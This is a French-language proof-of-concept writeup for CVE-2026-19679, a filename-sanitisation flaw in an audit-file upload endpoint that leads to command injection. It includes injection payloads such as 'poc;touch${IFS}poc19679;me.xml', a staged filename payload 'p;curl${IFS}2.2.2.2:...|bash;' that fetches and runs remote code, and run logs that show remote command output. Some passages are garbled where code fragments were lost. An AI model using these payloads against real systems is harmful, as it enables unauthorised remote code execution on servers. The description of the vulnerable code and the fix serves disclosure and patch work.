
Exploit de preuve de concept pour CVE-2026-19679, une vulnérabilité de désinfection insuffisante des noms de fichiers dans le téléversement de fichiers d'audit, conduisant à une injection de commandes. Inclut une sonde de version différentielle et un mode exec pour l'exécution de commandes à distance.

Statut : CONFIRMÉ sur un lab 6.7.2-14.el9 (2026-08-20). POST /rest/auditFile avec
tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml" a renvoyé HTTP 200 et
enregistré l'AuditFile #1000002 — le nom de fichier contenant des métacaractères shell a passé la validation et a été
stocké de bout en bout. Sur 6.9.0, la même requête est refusée avec
"Invalid tailoring filename.".
Les paramètres de téléversement des fichiers d'audit (filename, tailoringFilename,
tailoringOriginalFilename) sont validés avec
(), qui ne vérifie que trois choses : non vide, pas de
(égalité ), et que le fichier temporaire existe. — , , les backticks, et les espaces passent sans modification.
PARAM_FILENAMEUtility::validateParams()/basename();$()${IFS}Ces noms sont ensuite utilisés dans :
rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}") —
AuditFileLib.php:2307 (un fichier avec des métacaractères arbitraires dans son nom est créé)exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc") où le $tmpZipFile non échappé provient du
paramètre filename du client — l'injection de commande en aval de CVE-2026-19681.Limite vérifiée en laboratoire : le traversement de répertoire ne fait pas partie de la faille pré-6.9 — les deux
paramètres de tailoring rejettent / (erreur 146 Invalid syntax for attribute ... sur une charge utile ../).
La pièce manquante est exactement le filtre de jeu de caractères, ce que le texte du CVE entend par
"pourrait contribuer à une injection de commande en aval."
AuditFiles::applySCAPTailoringFile():
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);
plus basename() sur les deux noms et escapeshellarg() sur les opérandes du zip.
Sonde de version différentielle — une requête, des résultats opposés selon la version :
./poc.py --target https://sc.lab --username analyst --password 'pass'
"Invalid tailoring filename."Notes opérationnelles (toutes vérifiées en laboratoire) :
/rest/file/upload (multipart Filedata, champ de formulaire context)context=auditFile déclenche
la détection de contenu sur le zip (erreur 107 sur un zip factice)type=scapLinux|scapWindows, version=1.2, benchmarkName,
dataStreamName19679 est la lacune de validation ; 19681 est le sink d'exécution. Le même flux de téléversement sollicite
les deux : 19681 place des métacaractères dans le filename temporaire (via le préfixe context
du téléversement) et les déclenche via le $tmpZipFile non échappé ; 19679 démontre que les
paramètres voisins acceptent la même classe de caractères jusqu'à (et dans) la même chaîne
de commande. 6.9.0 corrige les deux côtés dans une même zone de commit : jeu de caractères + basename + escapeshellarg.
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux